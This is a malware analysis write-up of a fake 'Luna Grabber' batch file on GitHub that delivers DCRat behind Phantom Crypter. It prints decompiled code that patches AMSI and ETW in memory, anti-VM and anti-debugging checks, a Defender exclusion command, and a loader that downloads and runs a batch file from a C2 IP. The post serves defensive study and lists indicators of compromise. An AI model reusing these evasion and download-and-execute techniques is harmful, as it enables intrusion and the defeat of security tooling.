Recently, I discovered an obfuscated batch file on GitHub that was being distributed as Luna Grabber v3. After conducting reverse engineering and malware analysis, I uncovered that this file was actually a disguised version of DCRat malware. Things got interesting when I found out that Phantom Crypter was being used to evade detection of the DCRat payload.

Warning: This analysis is for educational purposes only. The code contains malicious content. Never run this on your personal computer. Always analyze malware in a controlled environment like a VM with proper security measures.

Background

DarkCrystal RAT (DCRat) is a malicious tool that enables cybercriminals to remotely control infected devices. Attackers can spy on user activities, manipulate hardware like the webcam or microphone, steal files, and even integrate compromised devices into botnets for DDoS attacks.

Luna Grabber is an open-source infostealer targeting browsers, Discord, and gaming platforms like Roblox. It's the perfect bait because skids looking for "free hacking tools" are exactly the type of victims threat actors want.

Phantom Crypter is used to encrypt and obfuscate executables, making them harder for antivirus programs to detect. In this case, it's wrapping the DCRat payload.

What Makes This Interesting?

The malware operates as a multistage payload, utilizing PowerShell scripts and CMD commands. The first stage employs Phantom Crypter as an anti-detection mechanism, while the execution chain culminates in the DCRat loader being deployed. Here's the full architecture:

Initial Batch File
Obfuscated setup.bat
PowerShell Loader Script
Base64 Decode
GZip Decompress
AES-CBC Decrypt
Memory Loading
Payload 1
Phantom Crypter
Protects
Payload 2
DCRat Stager
AMSI Bypass
Memory Patch
Anti-Analysis
VM/Debugger Checks
Disables Scanning
DCRat Loader
payload.exe
C2 Server
87.121.105.243
DCRat Malware Architecture: Phantom Crypter bypasses AMSI, allowing DCRat to execute undetected

Technical Analysis

Obfuscated batch file
Initial batch file with heavy obfuscation

After downloading the suspicious batch file from GitHub, I opened it in Notepad++. The initial code review revealed heavy obfuscation techniques, a common indicator of malicious intent. The obfuscation primarily uses variable substitution and complex concatenations:

%ATaiwNkzMXsEMujliUyK%s%ATaiwNkzMXsEMujliUyK%e%ATaiwNkzMXsEMujliUyK%t
%ATaiwNkzMXsEMujliUyK%l%ATaiwNkzMXsEMujliUyK%o%ATaiwNkzMXsEMujliUyK%c
%ATaiwNkzMXsEMujliUyK%a%ATaiwNkzMXsEMujliUyK%l...

This resolves to setlocal enabledelayedexpansion. The pattern %<random>%<character>% spells each character of the command. Variables are also chained dynamically to build commands:

set "RrXeDVLAmEZoRJvkYhob=s"
set "FGjcFTBBrMfgXMEiMpoS=t"
set "GuDjBKuodbIMdKOKnvLz=!RrXeDVLAmEZoRJvkYhob!e!FGjcFTBBrMfgXMEiMpoS!"

// GuDjBKuodbIMdKOKnvLz resolves to: set

Deobfuscated Commands

After analyzing all the obfuscation layers, I extracted the core execution logic. The script checks for admin privileges, elevates if needed, then decrypts and executes the DCRat payload:

# 1. Enable delayed expansion for variable manipulation
setlocal enabledelayedexpansion

# 2. Check for admin privileges (output hidden)
net file > nul 2>&1

# 3. If not admin, elevate and execute payload
if not %errorlevel% == 0 (
    powershell -noprofile -ep bypass -command Start-Process -FilePath 'FZdX3l8.bat' 
    -ArgumentList 'C:\Users\...\backup' -Verb runas & exit /b
)

Key Insight: Instead of the typical approach of downloading payloads from a C2 server, this DCRat variant is completely self-contained. The entire payload is embedded directly within the batch file as Base64 encoded strings, encrypted with AES-CBC and compressed with GZip. This eliminates network dependencies and evades network-based detection.

Dual Payload Analysis

Dual payload structure

One of the most intriguing aspects of this DCRat variant is its dual payload system. Looking at the PowerShell code, we can see two distinct payloads being processed and executed:

$payload1_var=decompress_function(decrypt_function($payloads_var[0]));
$payload2_var=decompress_function(decrypt_function($payloads_var[1]));

execute_function $payload1_var $null;
execute_function $payload2_var (,[string[]] (''));

The execution pattern reveals key insights:

This split architecture is clever: it separates loader logic from main functionality, makes static analysis more challenging, and allows for efficient memory management. Both payloads are loaded directly into memory using System.Reflection.Assembly, leaving minimal traces on disk.

Payload 1: The Phantom Crypter

Decompiled Phantom Crypter
Decompiled Phantom Crypter in dnSpy

After extracting and decompiling Payload1 with dnSpy, I discovered it's the Phantom Crypter. It implements a sophisticated AMSI bypass technique by patching the AmsiScanBuffer function in memory:

1. Locating AMSI

private static string obfDll_Str = "^a^m^s^i^.^d^l^l^".Replace("^", "");

First, it obfuscates the "amsi.dll" string to avoid static detection. The string is split with "^" characters and reconstructed at runtime.

2. ASLR-Aware Memory Location

private static IntPtr ASLR(IntPtr Relative_Address, IntPtr Relative_BaseAddress, string ModuleName)
{
    return (IntPtr)((long)Relative_Address - (long)Relative_BaseAddress + 
        (long)Program.GetModuleHandle(ModuleName));
}

The ASLR function calculates the real address of AmsiScanBuffer by getting the current base address of amsi.dll using GetModuleHandle, then adjusting for Address Space Layout Randomization.

3. Memory Patching

// Step 1: Change memory protection to allow writing
Program.VirtualProtect(intPtr, array2.Length, PAGE_EXECUTE_READWRITE, out num);

// Step 2: Write the patch (disables scanning function)
Marshal.Copy(array2, 0, intPtr, array2.Length);

// Step 3: Restore original protection to avoid detection
Program.VirtualProtect(intPtr, array2.Length, num, out num);

Think of it like editing a read-only document: change permissions, make edits, then set it back to read-only to avoid suspicion. This technique is effective because it works on both 32-bit and 64-bit systems, survives ASLR, modifies AMSI in memory without touching disk, and uses legitimate Windows APIs.

For a deeper explanation of AMSI bypass techniques, check out this excellent article on Medium.

Payload 2: The DCRat Stager

DCRat stager decompiled
DCRat stager decompiled

After further analysis, it's clear that Payload2 is a stager that prepares the environment and loads the actual DCRatLoader (payload.exe). It implements several anti-analysis techniques:

Anti-Virtualization Checks

ManagementObjectSearcher searcher = new ManagementObjectSearcher("Select * from Win32_ComputerSystem");
foreach (ManagementBaseObject obj in searcher.Get())
{
    string manufacturer = obj["Manufacturer"].ToString().ToLower();
    if ((manufacturer == "microsoft corporation" && obj["Model"].ToString().Contains("VIRTUAL")) || 
        manufacturer.Contains("vmware") || obj["Model"].ToString() == "VirtualBox")
    {
        Environment.Exit(1);  // Bail if running in VM
    }
}

Anti-Debugging Techniques

bool flag = false;
CheckRemoteDebuggerPresent(Process.GetCurrentProcess().Handle, ref flag);
if (Debugger.IsAttached || flag || IsDebuggerPresent())
{
    Environment.Exit(-1);  // Exit if debugger detected
}

Disabling Event Logging (ETW)

IntPtr procAddress = GetProcAddress(LoadLibrary("ntdll.dll"), "EtwEventWrite");
byte[] patch = IntPtr.Size != 8 ? new byte[] { 194, 20 } : new byte[] { 195 };
VirtualProtect(procAddress, patch.Length, PAGE_EXECUTE_READWRITE, out num);
Marshal.Copy(patch, 0, procAddress, patch.Length);

This patches the ETW (Event Tracing for Windows) function in memory to prevent logging of malicious activities.

Loading the Final Payload

byte[] decrypted = GZipDecompress(
    AESDecrypt(
        ExtractResource("payload.exe"),
        key: Convert.FromBase64String("OFBzsjWvvPL6WSq/1UuUe3C/jKVmeriehNrKxcILwgw="),
        iv: Convert.FromBase64String("Sh+DW8pynt9N99iwSkFJuQ==")
    )
);
Assembly.Load(decrypted).EntryPoint.Invoke(null, args);

The DCRatLoader is processed through resource extraction, AES decryption, and GZip decompression before being loaded directly into memory using reflection. No disk writes.

DCRat Loader: The Final Stage

DCRatLoader
DCRatLoader (payload.exe)

The DCRatLoader establishes connection with the C2 server and downloads additional payloads. It contains Base64-encoded URLs and paths:

// Decoded: "http://87.121.105.243/yar/ewq.bat123"
string url = Encoding.Default.GetString(Convert.FromBase64String(
    "aHR0cDovLzg3LjEyMS4xMDUuMjQzL3lhci9ld3EuYmF0MTIz"));

// Decoded: "{SYSTEMDRIVE}/Users/{USERNAME}/AppData/Local/Temp/ewq.bat"
string path = Encoding.Default.GetString(Convert.FromBase64String(
    "e1NZU1RFTURSSVZFfS9Vc2Vycy97VVNFUk5BTUV9L0FwcERhdGEvTG9jYWwvVGVtcC9ld3EuYmF0"));

Before downloading the payload, it adds Windows Defender exclusions and attempts privilege escalation:

// Add Defender exclusion for AppData folder
Process.Start(new ProcessStartInfo {
    WindowStyle = ProcessWindowStyle.Hidden,
    FileName = "cmd.exe",
    Arguments = "/C powershell Add-MpPreference -ExclusionPath 'C:\\Users\\%USERNAME%\\AppData'"
});

// Download and execute with elevation if admin
new WebClient().DownloadFile(url, path);
Process.Start(new ProcessStartInfo {
    FileName = path,
    Verb = IsAdmin ? "runas" : ""
});

Indicators of Compromise

Network Indicators

  • C2 Server IP: 87.121.105.243
  • C2 URL: http://87.121.105.243/yar/ewq.bat123

File Indicators

  • Downloaded Batch File: ewq.bat
  • Location: {SYSTEMDRIVE}/Users/{USERNAME}/AppData/Local/Temp/ewq.bat

System Changes

  • Windows Defender Exclusion: C:\Users\%USERNAME%\AppData
  • Hidden Process Execution: cmd.exe with PowerShell commands
  • Potential UAC Bypass: Use of runas verb

Encryption Keys

  • Batch AES Key: i4vSoXCEtQ37PNNOx8z5sO/wltKpK2oVbiHWrLx6E6s=
  • Batch AES IV: R8I1hTiXQxSbILqNOs5ldQ==
  • Stager AES Key: OFBzsjWvvPL6WSq/1UuUe3C/jKVmeriehNrKxcILwgw=
  • Stager AES IV: Sh+DW8pynt9N99iwSkFJuQ==

Final Thoughts

At the time of writing (Jan 2025), the C2 server (87.121.105.243) is no longer operational. The malicious GitHub repository was uploaded on Friday, April 26, 2024 at 01:25:54 +0100, highlighting how threat actors continue to abuse legitimate platforms to distribute malware.

Security Advisory: If you encounter any repositories claiming to be Luna Grabber, exercise extreme caution. Malware authors often disguise their tools as legitimate software. Always verify authenticity before downloading or executing anything.

This analysis demonstrates the sophisticated techniques modern malware employs to evade detection: from Phantom Crypter for AMSI bypass, to anti-VM and anti-debugging checks, ETW disabling, and multi-stage payload delivery. It serves as a reminder of the importance of thorough malware analysis and robust security measures.